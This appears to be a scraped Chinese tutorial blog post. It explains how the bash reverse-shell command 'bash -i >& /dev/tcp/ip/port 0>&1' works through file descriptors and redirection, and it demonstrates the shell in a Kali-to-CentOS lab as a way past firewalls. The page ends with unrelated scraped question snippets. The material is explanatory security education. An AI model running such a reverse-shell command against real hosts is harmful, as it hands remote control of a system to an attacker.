- VisualStudio2022插件的安装及使用-编程手把手系列文章
- pprof-在现网场景怎么用
- C#实现的下拉多选框,下拉多选树,多级节点
- 【学习笔记】基础数据结构:猫树
本文结合一些参考文章以及作者个人理解解释Linux的bash反弹命令中的 &>、0>&1 观点有误,欢迎指出! 。
目标讨论命令:bash -i >& /dev/tcp/ip/port 0>&1 。
bash是什么? 是一种shell。 shell是什么? 此处引用https://blog.csdn.net/weixin_42432281/article/details/88392219 。
Shell:一般我们是用图形界面和命令去控制计算机,真正能够控制计算机硬件(CPU、内存、显示器等)的只有操作系统内核(Kernel),由于安全、复杂、繁琐等原因,用户不能直接接触内核,需要另外再开发一个程序,让用户直接使用这个程序;该程序的作用就是接收用户的操作(点击图标、输入命令),并进行简单的处理,然后再传递给内核,内核和用户之间就多了一层“中间代理”,Shell 其实就是一种脚本语言,也是一个可以用来连接内核和用户的软件,我们编写完源码后不用编译,直接运行源码即可.
常用的Shell:bash由 GNU 组织开发,sh 是 UNIX 上的标准 shell,是第一个流行的 Shell,bash保持了对 sh shell 的兼容性,是各种 Linux 发行版默认配置的 shell。现在sh 已经基本被 bash 代替,bash是sh的扩展补充,但是也有些是不兼容的,大多数情况下区别不大,特殊场景可以使用 bash 代替 sh.
通俗点讲,shell设计好的一个程序,用户可以用他内置的命令去执行如今需要用鼠标等设备进行的操作(如:创建文件、解压缩包)等,最早期电脑没有显示屏,及没有可视化页面,一切操作全靠命令。随着用户化开发而有了如今的可视化操作。理解了这也就了解了bash简单来讲就是一个执行命令操作的窗口 。
冷知识:Linux在shell窗口输入echo $0可以查看当前shell是什么 。
在安全渗透中我们在攻击目标终端时可能会遇阻碍问题导致无法对目标终端控制,比如防火墙、ip变更连接不稳定 。
这里就防火墙讨论,防火墙策略除特别配置基本都是——进严出松,什么意思呢?
通俗来讲:防火墙是我买来的保镖,我的保镖保护我——让别人不能主动跟我说话。但我要主动去跟别人说话,保镖就不会拦着(前提:我没有主动给保镖设置我和什么特征的人说话他会拦着我).
我主动跟别人说话这个过程(以我的视角)——这叫正向连接(我连接别人) 别人主动跟我说话这个过程(以我的视角)——这叫反向连接(别人连接我) 。
但通常我们以攻击者视角,即我主动连接别人的终端电脑,这是正向连接 别人的终端电脑连接我,这是反向连接 。
所以“反弹shell”就是,被攻击的终端电脑主动把shell交给我,这样不会被防火墙拦截。 (我要主动让你把你的手机“解锁了”给我,你也不会给我吧~) 。
这也间接说明反弹shell的基础是在,我至少是拥有一部分目标主机的权限(我能碰到你解了锁的手机),才能让目标主机主动把shell给我 。
文件描述符是什么? 这篇文章我觉得写的很清楚https://zhuanlan.zhihu.com/p/364617329 。
意思是一个进程需要操作到的文件会在内核中构成一个数组,数组值代表对应的文件,而文件描述符即文件的数组下标(这也是为什么会从0开始),而规定从操作系统启动开始,有下面三个固定序号 0 表示标准输入(stdin) 1 表示标准输出(stdout) 2 表示标准错误(stderr) 即0永远代表标准输入文件的下标,1永远代表标准输出文件的下标,2永远代表标准错误文件的下标 这类似于编程中的指针,有数据结构基础可能好理解些 。
总结就是:
所以常用就这三个并且数字固定不变————输入、结果输出、报错输出(对应0,1,2) 。
举个例子: 在 shell 中,我输入 whoami ,紧接着返回了 smile 。
那么我们可以想象,whoami和smile以及smiel@localhost等这些人类可读文字都是数据,这个shell的"可视化页面"也就是后面黑色的荧幕就是瓶子,这个命令过程(进程)就是一个流水线,流水线上有很多管道通向内核但我们看不见。 而我们只能看到进入了瓶子的水(即把数据打印在黑色的荧幕上),至于水在管道里被shell的其他部件怎么控制去内核、发生什么我们不知道也不关心 (知识点1:可视化页面只是整个shell程序的一小部分) 。
参考下面示例图 。
根据在shell窗口里一条命令显示的位置关系我暂时把以下命名 。
注意!!!这是三块不同区域(着重记住桶和下瓶子) 。
shell里默认: 编号0指向键盘(桶),是用于取水的地点 编号1指向无$区域(下瓶子),用于把水从管道导出的地点 。
编号2同样指向无$区域(下瓶子),因为错误信息本质也是输出 (注意和1区分,1是成功后的结果信息,2是报错信息) 。
可以看图,“cat...没有那个文件...”这部分是报错信息,因为刚刚说的2默认指向和1相同的区域,所以我们看见他在刚刚编号1的下瓶子区域显示出来 。
(知识点2:说明同一个区域(比如下瓶子)可以被多个描述符(编号)指向) 。
而所谓在进程里的那张记录0,1,2的表,可以理解为管理本次进程(流水线)的管理员手里拿着个名册,记录本次进程任务需要哪些区域(水的容器) 。
理解了此处,对于后面辨认重定向关系就简单多了 。
此时我们思考一个问题:一条命令执行前信息的读取和执行完成后结果显示在哪关键在于那张记录0.1.2是指哪个瓶子的表。如果我们能改变那张的表格。比如我们把错误信息放在无$区域(下瓶子),把成功的结果放在1.txt中,并且同时执行一条正确命令和一条错误命令,那是不是就能在两边分别得到不同信息呢.
百度百科对Linux重定向的解释 。
Linux重定向是指修改原来默认的一些东西,对原来系统命令的默认执行方式进行改变,比如说简单的我不想看到在显示器的输出而是希望输出到某一文件中就可以通过Linux重定向来进行这项工作.
首先认识几个符号 。
现在我们有改表的方法了,这三个符号就是我们的工具,比如说刚刚编号1指向下瓶子,我现在要换成盆(1.txt假设是盆),那么编号1就要指向盆的名字 。
这个箭头方向不要管!!! 理解为“修改为”的意思,我们只需要从左到右读,比如输出重定向,以这个1.txt为例。 意作 whoami这条命令进程中-标准输出1的目标-修改为-1.txt 正规写法是 whoami 1>1.txt 思考:
实验验证:
可以看到结果正如我们所设想,下瓶子区域没有任何东西,使用cat命令查看1.txt(盆)中,是有刚刚相同的信息的 。
并且可以看出平常我们是省略了重定向符号功能所对应的文件描述符号的(即数字1),此处不加文件描述符我们把结果写入2.txt结果也是和1.txt一样效果 。
还记得刚刚那个问题,我们同时输入一条正确和一条错误的命令,如下:
我们使用&&符号可以同时运行两条命令————&&这个符号认识吧,并且的意思,前面正确后后面才进行判断 。
如下执行命令后: 可以看到我们同时有一个正确输出和一个错误输出,并且都在没$符号的区域,即下瓶子区域 。
所以现在我们进行实验去验证刚刚的想法,把错误信息留在这,把成功结果为了区分放在2.txt吧.我们只需要把1指向修改为2.txt,2默认指向这所以不用修改 。
这里先做一个错误演示 。
可以看到hack.jpg仍然在这,这是因为刚刚说了&&符号的逻辑是前面正确了才执行后面,所以这里ls执行完毕了,才执行后面部分,1>2.txt不属于ls命令,它属于cat 1.txt,但cat 1.txt是错误输出2,所以1>2.txt等于没有任何效果.
所以我们要改一下写法 。
可以很清楚看到,原本一起显示的hack.jpg没有了,而我们查看2.txt(盆)里是有这个信息的。 再次提醒:2.txt里是另外一个区域,cat命令只是又把他从2.txt(盆)里提取出来,放在了无$区域(下瓶子)里,让我们看见了 。
至于0的输入,同样是一个代号,它默认指向的是有$的区域(上瓶子),我们同样可以用重定向符号修改 那我们的命令不用键盘输入,用什么输入呢? 答案是:文本 。
其实我们用的最多的文本读取命令cat就是输入重定向 。
继续实验 。
我们在1.txt中写入Hello World 如果我们要查看内容就要用到cat 1.txt命令 但我们单独看cat 1.txt这个命令本身,我们并没有输入Hello World,1.txt代替了键盘,里面的内容代替了键盘输入的内容打印在了我们的屏幕上 。
到这里,你应该已经很清楚了解了描述符0,1,2以及简单改变其中一个描述符的指向了 。
&本身是逻辑运算and的意思 在之前描述符的介绍中我们也发现了,标准输出1和错误输出2,他本质都是输出,所以我们给他内置了对描述符操作时 & 等于 1&2 注意:此符号使用时就不需要管符号在>的哪边了 &>等于>& 所以 whoami 1>1.txt 2>1.txt等于whoami 1&2>1.txt也等于whoami &>1.txt还等于whoami >& 1.txt 。
现在我要做一个骚操作,什么呢? 假设我要存放的文件名很长很复杂,比如叫123qweiop345qwe.txt 我现在把标准输出1和错误输出2都放在这里面,那命令是不是应该这么写 ls 1>23qwe678iop345qwe.txt 2>23qwe678iop345qwe.txt 。
我天,太长了,我累了!!! 所以我要简写,怎么简写呢?我们可以看到描述符1指向文本文件23qwe678iop345qwe.txt,在流水线管理员那写的是 1 ————> 23qwe678iop345qwe.txt 2 ————> 23qwe678iop345qwe.txt 我现在嫌他长,我写成 1 ————> 23qwe678iop345qwe.txt 2 ————> &1 这个意思是错误输出2 指向的是标准输出1 所指向的地方,即23qwe678iop345qwe.txt 这里的&符号作为区分1是文件名还是文件描述符,如果我们少了&,那么2指向的是1.txt 。
具体写法为2>&1 。
结论:所以0>&1其实也就是输入描述符指向的是输出描述符指的地方 。
知识点3:文件描述符可以互相间接指向 。
所以我们得到两种&符号的用法 。
这时可能有可爱的小朋友会问了:师傅师傅,我要这样写呢 &>&0 emmmmmmmmm... 你留下来单独补课!!! 。
答案是:不可以,这俩符号只能用一次,会报错无法识别命令 。
这个不需要过多解释,这不是我们的重点,因为Linux万物皆文件.
以刚刚流水线很好理解,可以把这个东西理解为这又是一根管道,这根管子它不属于shell了,是shell外的一根管子,即流水线设备外的一根管子.
管道一端是本地主机(整个工厂),另一端是输入的远程IP主机(其它工厂),管子只关心是否成功连接以及哪端数据口有数据就传输到对面去,至于两端具体是什么样(是瓶子、是盆)管道不关心 所以为什么远程段会用nc监听,nc可以把传过去的数据处理后显示在对方shell页面上(nc提示监听成功那个区域也是一个瓶子,用来显示数据),如果有其它方法接收我们的tcp连接的数据,那也可以。反正两端互相不知道对方干了啥,也不关心 。
在此之前我们回收三条结论:
首先这是我们的命令: bash -i >& /dev/tcp/ip/port 0>&1 这条命令的逻辑可以拆开看,因为命令是从左到右读取 bash -i >& /dev/tcp/ip/port 这是什么意思呢 。
而整个bash -i是一个程序,和我们输入这条命令的这个shell页面是一样的东西 (注意:这是新创建一个子shell了) 关于子shell与父shell这里暂时不解释 。
我们以最简单的命令讨论,一次命令就是一个进程,他有一个输入提取区域、一个输出存放区域 。
bash -i >& /dev/tcp/ip/port 意为把bash程序里输出的所有水(标准输出和错误输出)倒进/dev/tcp/ip/port这个瓶子里,而刚刚解释了/dev/tcp/ip/port是一根管子,他不能储存,所以他就流到另一端去了,即远程监听的设备。于是,我们在远程主机监听就能监听到这个bash程序输出的信息 注意:shell的本体任然在本地主机上,只是我们把流出来的数据导入了TCP那根管子 。
并且如果我们实验会发现一件有趣的事~ 攻击端:Kali 靶机:CentOS 本来目的:用kali控制CentOS 。
首先我们的Kali监听9999端口 。
然后我们的CentOS输入命令,把bash的描述符1,2,即两种输出发给Kali 回车键后,可以看到我们的光标已经到下面去了 。
而Kali 似乎 也进入了CentOS的bash 。
但是!!! 有趣的来了 我们在Kali上输入命令ls,回车键后光标已经下去,但是~ 我们发现没有任何反应 。
接着我们在CentOS上输入ls命令 最有趣的事来了 我现在其实已经在键盘上输入了ls并且回车键,但是可以看到CentOS上什么反应都没有,甚至连输入的东西都没有 。
但我们去看Kali那边,居然!!!它显示了ls的执行结果出来 事实证明我们在CentOS输入的命令是执行了的,但为什么看不到呢?
这就要说到那个显示的ls即刚刚称呼的上瓶子区域的信息是怎么出现的了。 这里我们直接说结论,相关讨论我们在文章结尾讨论,因为这不是我们的重点 。
ls
实际上是把本地(CentOS)键盘的输入的信息复制在上面了,其目的是为了防止用户输入命令时输入错误,其本质也是输出的信息,所以顺着描述符1指向的地方出去,所以跑到了远程Kali的页面上去了那我们我们以及知道了我们的输入描述符0在这个语句中是没有改变指向的,仍然是默认的本地(CentOS)键盘,而输出描述符1指向了TCP的管道 。
所以整个流程是这样: 本地键盘输入信息——>shell根据描述符0指向,从键盘读取键盘输入的信息——>进行内核交互后得到执行结果——>结果返回shell的未知部件——>shell根据描述符1指向,把结果数据丢到TCP管道里(包含执行结果和第二步读取键盘信息时复制的上瓶子区域的信息)——>输出信息经过TCP管道流到远程Kali——>kali的nc把显示数据正确显示到屏幕上 。
所以刚刚具体发生了示例图就变成了 。
我们重新梳理一下:
但其实键盘输入的复制是可以显示的,这个不是重点,我们在文章结尾讨论 。
清楚了前半部分,后半部分其实很好理解了,无非多加了一个指向 。
注意!!! 要明确的是我们的描述符1指的是tcp连接,即这根管子 。
那么0>&1是什么意思呢 。
首先我们前半段的表写的是啥 0 ———— > 本地键盘 1 ———— > TCP管道 2 ———— > TCP管道 。
这就很好理解了,我们刚刚的 结论3:描述符可以间接指向 那0>&1的意思就是:描述符0指向描述符1指向的区域 所以表格变成如下 。
0 ———— > TCP管道 1 ———— > TCP管道 2 ———— > TCP管道 。
含义就是shell的输入来自tcp管道 。
OK本文结束了... 。
开玩笑~ 。
之前我们说了TCP那根管道他只管传输数据,现在0指向了tcp管道,就变成我们原来从本地键盘接收数据,现在变成从TCP管道接收数据。管道里的数据从哪来呢?我们不关心,我们只管认准是TCP管道出来的数据就行了 那管子另一端是什么呢,是我们的远程主机的shell,更准确的是shell上的nc.
所以解释一下整个流程发生了什么:
刚刚的示例图就变成 。
思考:我们刚刚交互式那个问题,我们即使没有传过去可视化页面的内容,即本地的描述符1没有指向TCP管道,但0指向了TCP管道,那远程主机把键盘输入的东西传到TCP管道里,仍然可以变成了这个shell的命令输入,然后执行命令,最后把结果打印在本地主机上 。
答案是:当然可以 。
这里Kali开启监听 。
然后CentOS只把0指向TCP管道,可以看到光标在下面,执行成功 。
这时我们看kali是监听到TCP连接的并且没有shell页面,所以是原本的全黑页面 。
但我们执行ls命令,回车键后光标已经在下面 。
我们再去看CentOS,可以看到他自己显示了结果。所以我们的结论是正确的 。
彩蛋:可以看到这里键盘输入的复制是显示在了Kali上,但我们说我们并没有把输出信息传输给Kali啊 。
这个回显键盘输入功能其实只在交互式起作用 。
具体什么是交互式页面呢,引用交互式页面 。
交互式模式就是在终端上执行,shell等待你的输入,并且立即执行你提交的命令。这种模式被称作交互式是因为shell与用户进行交互。这种模式也是大多数用户非常熟悉的:登录、执行一些命令、退出。当你退出后,shell也终止了。 shell也可以运行在另外一种模式:非交互式模式,以shell script(非交互)方式执行。在这种模式 下,shell不与你进行交互,而是读取存放在文件中的命令,并且执行它们。当它读到文件的结尾EOF,shell也就终止了.
看不懂? 没关系~ 反之咋就了解,交互式就是要等待用户输入命令,既然要输入,为了避免用户输错,shell就设计把我们输入的命令复制作为数据然后根据1原本默认指向shell的可视化页面,而我们把这部分输出指向tcp了,那回显的数据我们自然看不见 但如果我们用非交互式,他是从文件读取命令,这个子shell的功能就消失了。 我们可以在我们本来的父shell里输入命令,并且我们的shell本身也是交互式的,所以有回显。 但我们的TCP管道没有关,我们在父shell里输入被丢进了管道里,所以就能看见回显去输入命令了 。
这里反弹时直接去掉-i参数,然后我在CentOS输入了pwd 可以看见pwd显示出来了 。
而Kali仍然能把执行结果显示 。
https://blog.csdn.net/weixin_42432281/article/details/88392219 https://zhuanlan.zhihu.com/p/364617329 https://blog.csdn.net/gui951753/article/details/79154496 。
最后此篇关于nc反弹以及中&>、0>&1是什么意思的文章就讲到这里了,如果你想了解更多关于nc反弹以及中&>、0>&1是什么意思的内容请搜索CFSDN的文章或继续浏览相关文章,希望大家以后支持我的博客! 。
关闭。这个问题需要多问focused 。目前不接受答案。 想要改进此问题吗?更新问题,使其仅关注一个问题 editing this post . 已关闭 9 年前。 Improve this ques
关闭。这个问题是not reproducible or was caused by typos .它目前不接受答案。 这个问题是由于错别字或无法再重现的问题引起的。虽然类似的问题可能是on-topi
在main()中声明其原型(prototype)的函数的返回数据类型为void。它包含一个指令返回;如 main() { void create(int *p); *some code
我想知道这个 scala 符号是什么:_@。 (搜索引擎无法识别奇怪的字符,因此很难在 google 上找到任何内容...) 这里是上下文: def doNodeParse(json: JValue)
在尝试编译我的项目时,它使用了一些第三方头文件,使用 mingw 4.4,我遇到了以下错误: Assembler messages: Error: junk at end of line, first
我正在解决 picoCTF 上的二进制漏洞利用挑战,并遇到了这段代码: ((void (*)())buf)(); 哪里buf是一个字符数组。 我解决了挑战,但似乎无法理解它到底在做什么。我看了this
我正在浏览 React Navigation docs我在那里遇到了这样的事情: import Ionicons from 'react-native-vector-icons/Ionicons';
selenium 中以下命令的含义是什么? 我尝试创建一个自动测试用例。然后如下://button[@type='submit'] 我在 selenium 工具中看到的语法。 最佳答案 这是一个 XP
我刚开始看书学习 C 语言,对他们讨论指针和数组的部分并没有感到困惑。如果有一个名为 a[NUM_ROW][NUM_COLS] 的多维数组(我只是将此数组讨论为特定的二维数组),那么 a[0] 是什么
这个问题在这里已经有了答案: How does "while(*s++ = *t++)" copy a string? (17 个答案) 关闭 9 年前。 我有一个代码块: int main ()
我没有在我的代码中处理 SIGCHLD。我的进程在终止后仍然立即被删除。我希望它成为僵尸进程。 如果我将 SIGCHLD 设置为 SIG_DFL 那么它会起作用吗?如何将 SIGCHLD 设置为 SI
我已经使用 matplotlib 一段时间了,但我并不真正理解这一行的作用。 fig, ax = plt.subplots() 谁能解释一下? 最佳答案 plt.subplots() 基本上是一个(非
我很难理解以下声明的含义。这个申报标准吗? double* (*p[3]) (void* (*)()); 谁能帮我理解这个声明的意思? 最佳答案 阅读复杂声明的规则:找到最左边的标识符并向外工作,记住
关闭。这个问题需要details or clarity .它目前不接受答案。 想改进这个问题吗? 通过 editing this post 添加细节并澄清问题. 关闭 8 年前。 Improve t
我正在学习如何并行运行多个进程 ./script1.sh param1 1>/dev/null 2>&1 & pid1=$! ./script1.sh param2 1>/dev/null
我看到这些事件散布在 chaplin 示例代码中,但在文档或源代码中没有任何解释。似乎这意味着它是一个全局事件,触发了一个 Action 。那是对的吗?它们只是一个惯例,还是以某种方式强制执行? #
((void(*)(void))0)(); 所以我们将整数 0 类型转换为这个棘手的类型 (void(*))(void) 然后执行它。消息来源声称这应该有效,但实际上是什么? 我想这一定是像 #def
这个问题在这里已经有了答案: How does this JavaScript/jQuery syntax work: (function( window, undefined ) { })(win
if(a .feq. 5.0_dp) then **** if(a .fne. 5.2_dp) then ***我遇到了一些这样的代码。 .feq 有什么作用?或.fne。意思?是“=”还是“\=”?
所以我在阅读泛型方法时感到很困惑。先说一下这里的问题: 在这个例子中:假设我需要一个适用于任何类型 T 的 selectionSort 版本,方法是使用调用者提供的外部可比较对象。 第一次尝试: pu
我是一名优秀的程序员,十分优秀!